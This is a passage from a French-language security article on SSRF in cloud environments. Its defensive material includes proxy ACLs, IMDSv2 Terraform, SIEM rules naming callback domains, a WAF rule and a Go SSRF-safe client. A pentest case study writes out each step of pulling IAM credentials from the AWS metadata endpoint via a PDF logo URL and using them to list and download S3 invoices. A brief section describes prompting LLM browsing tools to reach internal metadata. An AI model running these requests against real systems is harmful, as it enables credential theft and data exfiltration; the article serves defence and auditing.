        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: kube-system
      ports:
        - protocol: UDP
          port: 53
    # Proxy sortant uniquement
    - to:
        - podSelector:
            matchLabels:
              app: egress-proxy
      ports:
        - protocol: TCP
          port: 3128

Pattern 2 : Proxy Sortant avec Allowlist

# Configuration Squid comme proxy sortant avec restrictions SSRF
# /etc/squid/squid.conf

# ACL pour bloquer les IPs privées
acl private_networks dst 10.0.0.0/8
acl private_networks dst 172.16.0.0/12
acl private_networks dst 192.168.0.0/16
acl private_networks dst 169.254.0.0/16
acl private_networks dst 127.0.0.0/8
acl private_networks dst fc00::/7
acl private_networks dst ::1/128
acl private_networks dst fe80::/10

# ACL pour les ports autorisés
acl safe_ports port 80 443 8080 8443

# Blocage
http_access deny private_networks
http_access deny !safe_ports
http_access allow all

# DNS : résoudre via un resolver qui ne résout PAS les noms internes
dns_nameservers 8.8.8.8 8.8.4.4

# Timeout court pour éviter les abus
read_timeout 10 seconds
connect_timeout 5 seconds

# Limiter la taille des réponses
reply_body_max_size 10 MB

# Logging pour la détection
access_log daemon:/var/log/squid/access.log squid

Pattern 3 : Désactivation de l'IMDS au Niveau Infrastructure

# Terraform : politique organisationnelle pour forcer IMDSv2 et limiter le hop
# Appliquée au niveau du compte AWS via SCP ou au niveau Terraform

# Module Terraform pour instances EC2 sécurisées
module "secure_instance" {
  source = "./modules/ec2-secure"

  metadata_options = {
    http_endpoint               = "enabled"
    http_tokens                 = "required"      # Force IMDSv2
    http_put_response_hop_limit = 1               # Bloque l'accès depuis les conteneurs
    instance_metadata_tags      = "disabled"      # Pas de tags dans les métadonnées
  }

  # Pour les instances qui n'ont PAS besoin du IMDS
  # (la majorité des instances applicatives)
  metadata_options_disabled = {
    http_endpoint = "disabled"  # Désactiver complètement
  }
}

# AWS Config Rule pour détecter les instances avec IMDSv1
resource "aws_config_config_rule" "imdsv2_required" {
  name = "ec2-imdsv2-check"
  source {
    owner             = "AWS"
    source_identifier = "EC2_IMDSV2_CHECK"
  }
}

# Remediation automatique si une instance avec IMDSv1 est détectée
resource "aws_config_remediation_configuration" "imdsv2_enforce" {
  config_rule_name = aws_config_config_rule.imdsv2_required.name
  target_type      = "SSM_DOCUMENT"
  target_id        = "AWS-ModifyInstanceMetadataOptions"

  parameter {
    name         = "InstanceId"
    resource_value = "RESOURCE_ID"
  }
  parameter {
    name         = "HttpTokens"
    static_value = "required"
  }
}

Monitoring et Détection des Tentatives SSRF

La détection des tentatives SSRF en production repose sur plusieurs signaux combinés dans un SIEM :

# Règles de détection SSRF pour un SIEM (format pseudo-Sigma)

# Règle 1 : Tentative d'accès aux métadonnées cloud
title: SSRF - Cloud Metadata Access Attempt
description: Détecte les requêtes sortantes vers les endpoints de métadonnées cloud
detection:
  selection:
    dst_ip:
      - '169.254.169.254'
      - '169.254.170.2'       # ECS credentials
      - '168.63.129.16'       # Azure Wire Server
    src_ip|not:
      - '10.0.0.0/8'         # Exclure les requêtes légitimes de l'infra
  condition: selection
level: critical

# Règle 2 : Résolution DNS suspecte depuis une application web
title: SSRF - Suspicious DNS Resolution
description: Détecte les résolutions DNS vers des domaines de callback connus
detection:
  selection:
    dns_query|contains:
      - '.oast.fun'
      - '.interact.sh'
      - '.burpcollaborator.net'
      - '.oastify.com'
      - '.canarytokens.com'
    src_process:
      - 'java'
      - 'python'
      - 'node'
      - 'ruby'
      - 'php-fpm'
  condition: selection
level: high

# Règle 3 : Requête HTTP sortante vers un port interne inhabituel
title: SSRF - Internal Port Scanning
description: Détecte les connexions depuis l'application vers des ports internes inhabituels
detection:
  selection:
    dst_ip|cidr:
      - '10.0.0.0/8'
      - '172.16.0.0/12'
      - '192.168.0.0/16'
    dst_port|not:
      - 443
      - 5432       # PostgreSQL légitime
      - 6379       # Redis légitime
    src_app: 'web-application'
  condition: selection
level: medium

# AWS CloudTrail : détecter l'utilisation suspecte de credentials IMDS
# Les credentials obtenus via IMDS ont des patterns spécifiques
title: SSRF - IMDS Credential Usage from External IP
detection:
  selection:
    eventSource: 'sts.amazonaws.com'
    eventName: 'GetCallerIdentity'
    sourceIPAddress|not:
      - '10.*'              # Pas depuis le réseau interne
      - '172.16.*'
  filter:
    userIdentity.type: 'AssumedRole'
    userIdentity.arn|contains: 'i-'  # Instance role
  condition: selection and not filter
level: critical

AWS GuardDuty détecte automatiquement plusieurs scénarios liés au SSRF : UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS signale l'utilisation de credentials IMDS depuis une IP non-AWS, et UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS signale l'utilisation depuis une IP AWS mais différente de l'instance d'origine. Ces détections sont essentielles car elles capturent l'exploitation réussie d'un SSRF, pas seulement la tentative.

Cas d'Étude Détaillé : Exploitation SSRF dans une Application de Facturation SaaS

Lors d'un pentest en 2025, nous avons exploité un SSRF dans une application de facturation SaaS hébergée sur AWS EKS. L'application proposait une fonctionnalité de "prévisualisation de facture en PDF" qui utilisait Puppeteer (headless Chrome) côté serveur pour convertir du HTML en PDF. L'utilisateur pouvait personnaliser le template de facture, incluant l'ajout d'un logo via URL.

La chaîne d'exploitation complète :

# 1. Identification du vecteur SSRF
# Le paramètre "logo_url" dans la personnalisation du template de facture
# est récupéré côté serveur par Puppeteer pour l'inclure dans le PDF
POST /api/invoice/preview
{
  "template": "standard",
  "logo_url": "http://our-callback-server.com/logo.png",
  "data": { "client": "Test", "amount": 100 }
}
# → Requête HTTP reçue sur notre serveur → SSRF confirmé

# 2. Test de l'accès aux métadonnées AWS
# Puppeteer suit les redirections → double SSRF possible
POST /api/invoice/preview
{
  "logo_url": "http://169.254.169.254/latest/meta-data/"
}
# → Le PDF généré contient le listing des métadonnées AWS !
# Résultat dans le PDF : "ami-id instance-id iam/ ..."

# 3. Récupération des credentials IAM
POST /api/invoice/preview
{
  "logo_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
# → Résultat dans le PDF : "eks-node-role"

POST /api/invoice/preview
{
  "logo_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-role"
}
# → Résultat dans le PDF :
# AccessKeyId: ASIA...
# SecretAccessKey: wJal...
# Token: IQoJ...
# Expiration: 2025-11-15T...

# 4. Utilisation des credentials volés
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJal..."
export AWS_SESSION_TOKEN="IQoJ..."

aws sts get-caller-identity
# → Arn: arn:aws:sts::123456789012:assumed-role/eks-node-role/i-0abc123

# 5. Évaluation des permissions du rôle
aws iam list-attached-role-policies --role-name eks-node-role
# → AmazonEKSWorkerNodePolicy, AmazonEKS_CNI_Policy, AmazonEC2ContainerRegistryReadOnly
# → PLUS une policy custom "InvoiceAppPolicy" avec :
#   - s3:GetObject sur s3://company-invoices-prod/*
#   - s3:PutObject sur s3://company-invoices-prod/*
#   - sqs:SendMessage sur arn:aws:sqs:eu-west-1:*:invoice-*

# 6. Impact démontré
aws s3 ls s3://company-invoices-prod/
# → 47,000 factures clients au format PDF (données personnelles, montants)
aws s3 cp s3://company-invoices-prod/2025/11/INV-2025-00001.pdf /tmp/
# → Facture client téléchargée → démonstration d'impact

L'impact final de ce SSRF : accès en lecture et écriture à un bucket S3 contenant 47 000 factures clients (données personnelles, informations bancaires, montants), et la capacité d'envoyer des messages dans une queue SQS qui déclenchait l'envoi de factures par email (possibilité d'envoyer des fausses factures aux clients). Le CVSS a été évalué à 9.1.

La remédiation a inclus : migration de la fonctionnalité de génération PDF vers un service isolé sans accès IMDS, enforcement d'IMDSv2 sur tous les noeuds EKS, réduction des permissions du rôle IAM au strict minimum, et ajout d'une validation d'URL côté applicatif avec blocage des IPs privées et link-local.

Analyse complémentaire

FAQ

Comment tester rapidement si une application est vulnérable au SSRF ?

Utilisez Burp Collaborator ou interact.sh pour obtenir un domaine unique de callback. Injectez ce domaine dans chaque paramètre qui accepte une URL : champs de webhook, URL de callback OAuth, paramètres d'importation, URL d'avatar, flux RSS, prévisualisation de liens. Si une requête DNS ou HTTP arrive sur votre serveur de callback, le SSRF est confirmé. Testez ensuite l'accès aux métadonnées cloud (169.254.169.254) et aux services internes (127.0.0.1, 10.0.0.0/8). Testez les protocoles file:// et gopher:// si la bibliothèque sous-jacente les supporte. N'oubliez pas de tester les fonctionnalités implicites : génération de PDF, traitement d'images SVG, importation de données, et tout endpoint qui accepte une URL même de manière indirecte (JSON avec un champ "url", XML avec des entités SYSTEM). Cette phase de test prend typiquement 2 à 4 heures par application.

IMDSv2 est-il suffisant pour protéger contre le SSRF cloud ?

Non. IMDSv2 bloque les SSRF simples (GET-only sans headers), mais il est contournable si le SSRF permet de contrôler la méthode HTTP ou d'ajouter des headers personnalisés. De plus, IMDSv2 ne protège pas contre l'exploitation de services internes (Redis, Kubernetes API, bases de données) accessibles via SSRF. La défense complète combine IMDSv2 obligatoire, rôles IAM minimaux (même en cas de fuite de credentials l'impact est limité), segmentation réseau (l'application ne doit pas pouvoir atteindre le IMDS si elle n'en a pas besoin), validation robuste des URLs côté applicatif avec résolution DNS au moment de la connexion, et monitoring des requêtes sortantes anormales. Idéalement, désactivez complètement l'IMDS (http_endpoint = "disabled") sur les instances qui n'en ont pas besoin — c'est le cas de la majorité des instances applicatives qui reçoivent leurs credentials via des mécanismes alternatifs (variables d'environnement, fichiers de configuration montés).

Quels sont les protocoles les plus dangereux dans un contexte SSRF ?

Le protocole gopher:// est le plus dangereux car il permet d'envoyer des données brutes arbitraires sur n'importe quel port TCP, transformant un SSRF HTTP en interaction avec Redis, MySQL, SMTP, FastCGI et d'autres services basés sur des protocoles texte. Le protocole file:// permet la lecture de fichiers locaux, y compris les variables d'environnement (/proc/self/environ) qui contiennent souvent des secrets (DATABASE_URL, API_KEY, AWS_SECRET_ACCESS_KEY). Le protocole dict:// permet l'envoi de commandes simples à des services texte. Les bibliothèques HTTP modernes de haut niveau (requests en Python, net/http en Go, axios en Node.js) ne supportent généralement pas gopher://, mais les anciennes versions de libcurl (utilisées par PHP curl) et urllib (Python 2) le supportent. Vérifiez systématiquement les protocoles supportés par la bibliothèque utilisée par l'application — c'est souvent documenté ou testable en une requête.

Comment détecter un SSRF aveugle en production ?

Le SSRF aveugle est difficile à détecter car l'attaquant ne génère pas d'erreur visible dans les logs applicatifs. Les indicateurs à surveiller : requêtes DNS sortantes vers des domaines inhabituels ou connus comme outils d'attaque (*.oast.fun, *.burpcollaborator.net, *.interact.sh — configurez des alertes DNS pour ces patterns), connexions TCP sortantes vers des ports internes inhabituels ou des IPs de métadonnées (VPC Flow Logs, Security Group logs), temps de réponse anormalement longs sur des endpoints qui ne devraient pas faire de requêtes réseau (monitoring APM — un endpoint qui répond normalement en 50ms et qui soudain prend 5 secondes peut indiquer un SSRF vers un service interne qui timeout). Côté AWS, GuardDuty détecte l'utilisation de credentials IMDS depuis des IPs inattendues. Configurez des alertes CloudTrail sur les appels API effectués avec des credentials de rôles d'instance EC2 depuis des IP sources inattendues.

Configuration avancée

Le SSRF est-il exploitable si l'application ne retourne pas la réponse ?

Oui, via trois canaux principaux. Premier canal : le timing — la différence de temps de réponse entre un port ouvert et un port fermé permet le port scanning interne. Un port ouvert qui répond avec du contenu donne une réponse rapide, un port fermé donne un RST immédiat (rapide aussi mais différent), un port filtré donne un timeout (lent). Deuxième canal : les erreurs — même si la réponse complète n'est pas affichée, les messages d'erreur différents (timeout vs. connection refused vs. HTTP error vs. invalid content) révèlent l'état des services internes et leur type. Troisième canal : l'out-of-band (OOB) — si l'application effectue la requête même sans retourner la réponse, l'attaquant utilise un serveur de callback pour confirmer le SSRF, puis combine avec des techniques de DNS exfiltration ou des chaînes de redirections pour extraire des données. Le SSRF aveugle est exploitable, il demande simplement plus de temps, de créativité et de patience.

Comment protéger les fonctionnalités de webhook contre le SSRF ?

Les webhooks sont intrinsèquement des vecteurs SSRF car ils nécessitent que le serveur effectue des requêtes vers des URLs fournies par l'utilisateur — c'est leur raison d'être. La protection combine plusieurs couches : validation stricte de l'URL (schéma https uniquement, pas d'IP privée, pas de localhost, résolution DNS vérifiée au moment de la connexion pour contrer le DNS rebinding, pas de protocoles exotiques), utilisation d'un service dédié et isolé pour les requêtes sortantes de webhooks (un microservice dans un réseau sans accès aux services internes ni au IMDS), timeout court (5 secondes maximum — un webhook légitime répond rapidement), pas de suivi de redirections (ou validation de chaque URL de redirection avec les mêmes règles), rate limiting par utilisateur pour éviter le scanning massif de ports, et vérification de la réponse webhook (ignorer les réponses anormalement longues qui pourraient être une tentative de time-based blind SSRF). Certaines organisations utilisent un proxy sortant (Squid avec ACLs, Envoy avec des filtres Lua) qui centralise les règles de filtrage pour toutes les requêtes sortantes de l'application.

Politiques et règles

Le DNS rebinding est-il encore exploitable en 2026 ?

Oui, mais c'est devenu plus difficile dans les navigateurs (qui ont implémenté le DNS pinning et le partitionnement du cache DNS). Cependant, dans le contexte du SSRF côté serveur, le DNS rebinding reste pleinement pertinent car les bibliothèques HTTP serveur ne cachent pas toujours les résolutions DNS de la même manière. La protection efficace : résoudre le DNS une seule fois via un DialContext personnalisé et se connecter directement à l'IP résolue (comme montré dans l'exemple Go), sans laisser la bibliothèque HTTP résoudre le DNS elle-même lors de la connexion TCP. Les services comme rbndr.us et singularity facilitent le test de cette vulnérabilité lors des audits. En 2026, les CDN et les services de DNS over HTTPS (DoH) ajoutent une couche de complexité : certaines résolutions DNS passent par des résolveurs tiers qui peuvent avoir des comportements de cache différents.

Comment traiter le SSRF dans une application qui doit légitimement récupérer des URLs externes ?

C'est le cas le plus courant et le plus délicat : l'application a un besoin métier légitime de récupérer du contenu depuis des URLs fournies par l'utilisateur (prévisualisation de liens, import RSS, webhooks, téléchargement d'images). La solution architecturale recommandée est l'isolation : déplacer la fonctionnalité de fetch dans un microservice dédié, déployé dans un segment réseau isolé qui n'a accès ni au IMDS, ni aux services internes, ni aux bases de données. Ce microservice ne contient aucun secret et ne peut accéder qu'à internet via un proxy sortant filtré (qui bloque les IPs privées et les métadonnées). Il valide l'URL, effectue la requête via le proxy, et retourne le résultat à l'application principale via une API interne authentifiée. Cette architecture élimine fondamentalement le risque de SSRF vers les ressources internes, même si la validation de l'URL est contournée par une technique inconnue. Le surcoût opérationnel est minimal (un conteneur supplémentaire, une NetworkPolicy) et la sécurité est fondamentalement meilleure qu'un filtrage d'URL qui peut toujours être contourné par une nouvelle technique.

Renforcement de la sécurité

Protection Runtime et WAF Anti-SSRF

Les Web Application Firewalls (WAF) constituent une couche de défense supplémentaire contre le SSRF. Cependant, les règles WAF standard ne suffisent pas — elles doivent être complétées par des règles personnalisées adaptées à l'application.

Règles WAF Spécifiques Anti-SSRF

Les WAF commerciaux (AWS WAF, Cloudflare WAF, Imperva) offrent des règles managées qui détectent certains patterns SSRF, mais leur couverture est limitée aux cas les plus basiques. Les règles personnalisées sont nécessaires pour bloquer les techniques d'évasion :

# AWS WAF - Règles personnalisées anti-SSRF
# Bloquer les requêtes contenant des patterns de métadonnées cloud
{
  "Name": "BlockSSRFMetadata",
  "Priority": 1,
  "Statement": {
    "OrStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "FieldToMatch": { "AllQueryArguments": {} },
            "TextTransformations": [
              { "Priority": 0, "Type": "URL_DECODE" },
              { "Priority": 1, "Type": "LOWERCASE" }
            ],
            "SearchString": "169.254.169.254",
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "FieldToMatch": { "Body": {} },
            "TextTransformations": [
              { "Priority": 0, "Type": "URL_DECODE" },
              { "Priority": 1, "Type": "LOWERCASE" }
            ],
            "SearchString": "metadata.google.internal",
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "FieldToMatch": { "AllQueryArguments": {} },
            "TextTransformations": [
              { "Priority": 0, "Type": "URL_DECODE" }
            ],
            "SearchString": "file:///",
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "FieldToMatch": { "AllQueryArguments": {} },
            "TextTransformations": [
              { "Priority": 0, "Type": "URL_DECODE" }
            ],
            "SearchString": "gopher://",
            "PositionalConstraint": "CONTAINS"
          }
        }
      ]
    }
  },
  "Action": { "Block": {} },
  "VisibilityConfig": {
    "CloudWatchMetricsEnabled": true,
    "MetricName": "BlockSSRFMetadata",
    "SampledRequestsEnabled": true
  }
}

Les limitations des WAF pour la protection SSRF sont significatives. Le WAF ne voit que la requête HTTP entrante — il ne peut pas détecter un SSRF qui se produit après un traitement interne (par exemple, un fichier SVG uploadé qui contient une URL malveillante dans un attribut). Le WAF ne détecte pas les représentations alternatives d'IP (octal, hexadécimal, décimal), ni les techniques de DNS rebinding (le nom de domaine dans la requête semble légitime). Le WAF ne protège pas contre les SSRF provenant de sources non-HTTP (messages de queue, événements, fichiers traités en batch). C'est pourquoi le WAF est une couche complémentaire, jamais la seule protection.

Protection au Niveau Application : Bibliothèque Go Complète

Voici une implémentation complète et production-ready d'un client HTTP protégé contre le SSRF en Go, avec toutes les protections discutées dans cet article :

package ssrf

import (
    "context"
    "crypto/tls"
    "fmt"
    "net"
    "net/http"
    "net/url"
    "strings"
    "time"
)

// SSRFSafeClient crée un client HTTP protégé contre le SSRF
type SSRFSafeClient struct {
    client          *http.Client
    allowedSchemes  []string
    allowedPorts    []int
    blockedCIDRs    []*net.IPNet
    maxRedirects    int
    maxResponseSize int64
    timeout         time.Duration
}

// NewSSRFSafeClient crée un nouveau client avec les protections par défaut
func NewSSRFSafeClient() *SSRFSafeClient {
    s := &SSRFSafeClient{
        allowedSchemes:  []string{"http", "https"},
        allowedPorts:    []int{80, 443, 8080, 8443},
        maxRedirects:    3,
        maxResponseSize: 10 * 1024 * 1024, // 10 MB
        timeout:         10 * time.Second,
    }

    // Bloquer toutes les plages d'IP privées et réservées
    privateCIDRs := []string{
        "0.0.0.0/8",       // Current network
        "10.0.0.0/8",      // Private (RFC 1918)
        "100.64.0.0/10",   // Shared address space (CGNAT)
        "127.0.0.0/8",     // Loopback
        "169.254.0.0/16",  // Link-local (IMDS!)
        "172.16.0.0/12",   // Private (RFC 1918)
        "192.0.0.0/24",    // IETF Protocol Assignments
        "192.0.2.0/24",    // Documentation (TEST-NET-1)
        "192.168.0.0/16",  // Private (RFC 1918)
        "198.18.0.0/15",   // Benchmarking
        "198.51.100.0/24", // Documentation (TEST-NET-2)
        "203.0.113.0/24",  // Documentation (TEST-NET-3)
        "224.0.0.0/4",     // Multicast
        "240.0.0.0/4",     // Reserved
        "255.255.255.255/32", // Broadcast
        // IPv6
        "::1/128",         // Loopback
        "fc00::/7",        // Unique Local Address
        "fe80::/10",       // Link-local
        "ff00::/8",        // Multicast
        "::ffff:0:0/96",   // IPv4-mapped IPv6
    }

    for _, cidr := range privateCIDRs {
        _, network, _ := net.ParseCIDR(cidr)
        s.blockedCIDRs = append(s.blockedCIDRs, network)
    }

    // Créer le transport avec DialContext sécurisé
    transport := &http.Transport{
        DialContext:         s.safeDialContext,
        TLSClientConfig:    &tls.Config{MinVersion: tls.VersionTLS12},
        MaxIdleConns:       10,
        IdleConnTimeout:    30 * time.Second,
        DisableCompression: false,
    }

    s.client = &http.Client{
        Transport:     transport,
        Timeout:       s.timeout,
        CheckRedirect: s.checkRedirect,
    }

    return s
}

// safeDialContext résout le DNS et vérifie l'IP AVANT la connexion
func (s *SSRFSafeClient) safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {
    host, port, err := net.SplitHostPort(addr)
    if err != nil {
        return nil, fmt.Errorf("adresse invalide: %w", err)
    }

    // Résoudre le DNS
    ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
    if err != nil {
        return nil, fmt.Errorf("résolution DNS échouée pour %s: %w", host, err)
    }

    if len(ips) == 0 {
        return nil, fmt.Errorf("aucune IP résolue pour %s", host)
    }

    // Vérifier TOUTES les IPs résolues (pas seulement la première)
    for _, ip := range ips {
        if s.isBlockedIP(ip.IP) {
            return nil, fmt.Errorf("IP bloquée (privée/réservée): %s résout vers %s", host, ip.IP)
        }
    }

    // Se connecter directement à l'IP (pas de re-résolution DNS = anti DNS rebinding)
    dialer := &net.Dialer{
        Timeout:   5 * time.Second,
        KeepAlive: 5 * time.Second,
    }
    return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
}

// isBlockedIP vérifie si une IP est dans une plage bloquée
func (s *SSRFSafeClient) isBlockedIP(ip net.IP) bool {
    for _, cidr := range s.blockedCIDRs {
        if cidr.Contains(ip) {
            return true
        }
    }
    return false
}

// checkRedirect valide chaque redirection
func (s *SSRFSafeClient) checkRedirect(req *http.Request, via []*http.Request) error {
    if len(via) >= s.maxRedirects {
        return fmt.Errorf("trop de redirections (%d max)", s.maxRedirects)
    }

    // Valider l'URL de redirection
    if err := s.validateURL(req.URL); err != nil {
        return fmt.Errorf("redirection bloquée: %w", err)
    }

    return nil
}

// validateURL vérifie qu'une URL est sûre
func (s *SSRFSafeClient) validateURL(u *url.URL) error {
    // Vérifier le schéma
    schemeAllowed := false
    for _, scheme := range s.allowedSchemes {
        if strings.EqualFold(u.Scheme, scheme) {
            schemeAllowed = true
            break
        }
    }
    if !schemeAllowed {
        return fmt.Errorf("schéma non autorisé: %s", u.Scheme)
    }

    // Vérifier l'absence d'authentification dans l'URL
    if u.User != nil {
        return fmt.Errorf("authentification dans l'URL non autorisée")
    }

    // Vérifier que le hostname n'est pas une IP privée directe
    hostname := u.Hostname()
    if ip := net.ParseIP(hostname); ip != nil {
        if s.isBlockedIP(ip) {
            return fmt.Errorf("IP privée directe bloquée: %s", ip)
        }
    }

    return nil
}

// Get effectue une requête GET sécurisée
func (s *SSRFSafeClient) Get(ctx context.Context, rawURL string) (*http.Response, error) {
    u, err := url.Parse(rawURL)
    if err != nil {
        return nil, fmt.Errorf("URL invalide: %w", err)
    }

    if err := s.validateURL(u); err != nil {
        return nil, err
    }

    req, err := http.NewRequestWithContext(ctx, "GET", rawURL, nil)
    if err != nil {
        return nil, err
    }

    return s.client.Do(req)
}

Évolutions et Tendances SSRF 2026-2027

Plusieurs évolutions technologiques modifient le paysage du SSRF en 2026 et pour les années à venir :

IA et LLM comme vecteurs SSRF. Les applications intégrant des LLM (Large Language Models) introduisent un nouveau vecteur SSRF. Si un LLM est configuré pour "naviguer sur le web" ou "récupérer des informations depuis des URLs" dans le cadre de ses tools/plugins, un prompt malveillant peut lui demander d'accéder aux métadonnées cloud ou aux services internes. Ce vecteur est particulièrement pernicieux car il contourne les validations d'URL traditionnelles — le LLM interprète le texte et appelle les outils avec les URLs qu'il "comprend", pas celles que l'utilisateur fournit directement. La protection exige d'appliquer les mêmes contrôles SSRF aux outils/plugins des LLM qu'aux fonctionnalités applicatives classiques.

IPv6 et SSRF. L'adoption croissante d'IPv6 dans les environnements cloud et Kubernetes crée de nouvelles opportunités de contournement. Les représentations IPv6 (compressed, expanded, mapped, embedded IPv4) offrent de nombreuses variantes pour encoder une adresse cible. Les filtres qui ne vérifient que les IPv4 (169.254.169.254) peuvent être contournés si l'IMDS est accessible via une adresse IPv6 link-local (fd00::169:254:169:254 dans certaines configurations). La protection doit couvrir explicitement les plages IPv6 réservées.

WebAssembly (WASM) côté serveur. L'utilisation croissante de WebAssembly côté serveur (Cloudflare Workers, Fastly Compute@Edge) modifie le modèle de risque SSRF. Les runtimes WASM isolent le code dans un sandbox avec des capabilities réseau explicites. Un SSRF depuis un Worker Cloudflare ne peut pas accéder aux métadonnées cloud car le runtime n'a pas de concept d'instance EC2 ni d'IMDS. Cependant, les services "Functions" traditionnels (AWS Lambda, Cloud Functions) restent vulnérables aux SSRF vers les credentials d'environnement et les services internes du VPC.

Zero Trust Networking. L'adoption des architectures Zero Trust (BeyondCorp, Zscaler Private Access) réduit l'impact du SSRF en éliminant le concept de "réseau interne de confiance". Dans un modèle Zero Trust, chaque service vérifie l'identité et l'autorisation de chaque requête, même celles provenant du réseau interne. Un SSRF vers un service interne protégé par Zero Trust échoue car la requête n'a pas de token d'authentification valide. Cependant, les services legacy non intégrés au modèle Zero Trust (bases de données, caches, services de métadonnées) restent vulnérables.

Conclusion Opérationnelle

Le SSRF en 2026 n'est plus une vulnérabilité exotique réservée aux bug bounty hunters — c'est un risque systémique dans les architectures cloud. Chaque application qui effectue des requêtes HTTP côté serveur est potentiellement vulnérable, et l'impact en environnement cloud (accès aux credentials IAM avec potentiellement des permissions administratives, pivot vers le réseau interne, RCE via services non authentifiés) justifie une attention proportionnée dans chaque audit de sécurité et chaque programme de développement sécurisé.

La défense efficace ne repose pas sur un seul contrôle mais sur une combinaison de couches complémentaires : validation d'URL avec résolution DNS au moment de la connexion (anti DNS rebinding), client HTTP restreint qui bloque les protocoles dangereux et les IPs privées, segmentation réseau qui empêche l'application d'atteindre les services internes non nécessaires et le IMDS, moindre privilège IAM qui limite l'impact même en cas de fuite de credentials, monitoring des requêtes sortantes anormales pour la détection, et architecture isolée pour les fonctionnalités qui ont besoin de récupérer des URLs externes.

L'audit systématique de chaque fonctionnalité qui effectue des requêtes côté serveur — y compris les fonctionnalités "business" comme la génération de PDF, les webhooks, le traitement d'images, et les intégrations LLM — est la première étape pour réduire cette surface d'attaque. La deuxième étape est l'implémentation des protections architecturales (microservice isolé, Network Policies, IMDS désactivé). La troisième étape est le monitoring continu pour détecter les tentatives d'exploitation et les contournements de protections.

Pour comprendre comment les attaquants combinent le SSRF avec d'autres vulnérabilités, consultez notre article sur l'injection XXE qui partage de nombreuses techniques d'exploitation similaires (les deux permettent d'accéder à des ressources internes). Les techniques de privilège escalation Linux détaillent ce qui se passe après qu'un attaquant a obtenu un accès initial via SSRF vers un service non authentifié. Pour la protection des pipelines CI/CD contre les SSRF dans les runners et les builds, notre guide DevSecOps couvre les configurations de sécurité réseau nécessaires. Enfin, notre analyse des vulnérabilités API REST et GraphQL traite les vecteurs SSRF spécifiques aux APIs modernes et aux architectures microservices.